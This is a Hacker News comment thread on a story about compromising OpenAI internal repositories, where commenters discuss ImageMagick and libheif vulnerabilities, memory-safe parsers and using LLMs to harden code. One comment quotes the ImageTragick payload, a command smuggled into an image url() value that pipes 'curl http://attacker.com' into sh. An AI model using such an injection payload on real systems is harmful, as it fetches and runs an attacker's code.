Thread

A heap overflow and SSO misconfiguration to compromise OpenAI internal repos

491 points · 208 comments · Handy-Man

oefrha · 1789704813 · focus · HN ↗
Unsandboxed ImageMagick is known for being a security nightmare even back when PHP ruled the world (not saying sandboxing is a panacea either, it just requires a different and potentially harder exploit to develop a full chain). Difference is it's easier than ever to turn vulnerabilities into full compromises. At some point we'll have to replace all parsers with something at least as safe as <a href="https://github.com/google/wuffs" rel="nofollow">https://github.com/google/wuffs right? Otherwise ImageMagick and co. will just keep giving.
1. walrus01 · 1789705481 · focus · HN ↗
  It does make me wonder how much this could be hardened by, to put it in an extremely crude way, taking the current imagemagick code base and throwing a bunch of adversarial SOTA LLMs at it to discover 'bugs' and exploits of this nature until it can be coaxed into a less dangerous state. Or even using the LLMs to fully port its functionality to a memory safe language. Would take a while to get all the changes approved and then into various distribution imagemagick packages.
  1. sroussey · 1789715873 · focus · HN ↗
    Maybe these big ai labs will uses their own devices to find and fix bugs up and down their stack and contribute that back.
  2. sweetjuly · 1789719344 · focus · HN ↗
    I suspect the latter is much easier and cheaper than the former? You can port a lot of software with cheap (or even local) models if you're tenacious whereas finding all the bugs is both very very expensive (if it's even possible) and potentially never ending (there's always new code and bugs!).
  3. msm_ · 1789816321 · focus · HN ↗
    Many of the imagemagick bugs (in fact, most imagemagick bugs I remember as a former CTF player) are a logic bugs, where external program was invoked with improper sanitisation. Rewriting the code into a memory safe language is not a panacea and would not help.
    Famously, ImageTragick was just "fill 'url(<a href="https://example.com" rel="nofollow">https://example.com"; curl <a href="http://attacker.com" rel="nofollow">http://attacker.com | sh ")'"
    walrus01 · 1789835261 · focus · HN ↗
    That's a very good point. I've had moderately good success with even not very smart LLMs 'fixing' things that would otherwise accept arbitrary user generated text input, to run things through a thorough sanitization pipeline, the actual code for a sanitizer is not very complex at all.
2. oefrha · 1789706577 · focus · HN ↗
  Btw there are so many "critical" vulnerabilities in libheif I can't even tell if I have them all patched. Just awesome.
  <a href="https://github.com/strukturag/libheif/security/advisories?query=severity%3Acritical++" rel="nofollow">https://github.com/strukturag/libheif/security/advisories?qu...
  <a href="https://ubuntu.com/security/notices/USN-8649-1" rel="nofollow">https://ubuntu.com/security/notices/USN-8649-1
  <a href="https://ubuntu.com/security/notices/USN-8683-1" rel="nofollow">https://ubuntu.com/security/notices/USN-8683-1
  <a href="https://ubuntu.com/security/notices/USN-8774-1" rel="nofollow">https://ubuntu.com/security/notices/USN-8774-1
  1. Gigachad · 1789711743 · focus · HN ↗
    At this point writing a media file parser in C/C++ is absurdly stupid. The same thing happened with libjxl.
    masklinn · 1789725055 · focus · HN ↗
    Also libwebp.
3. djxfade · 1789708281 · focus · HN ↗
  PHP still rules the world, even though many doesn't want to realize it. It's still the biggest web language by a far margin
  1. willy_k · 1789713317 · focus · HN ↗
    Phones don’t “rule the world” of cinematography, despite the majority of videos being from phones. The serious stuff, professional and personal, uses cameras.
4. someothherguyy · 1789711694 · focus · HN ↗
  too powerful to give up, sweet imagick love

Open on Hacker News to reply ↗

Unofficial Hacker News client; not affiliated with Y Combinator.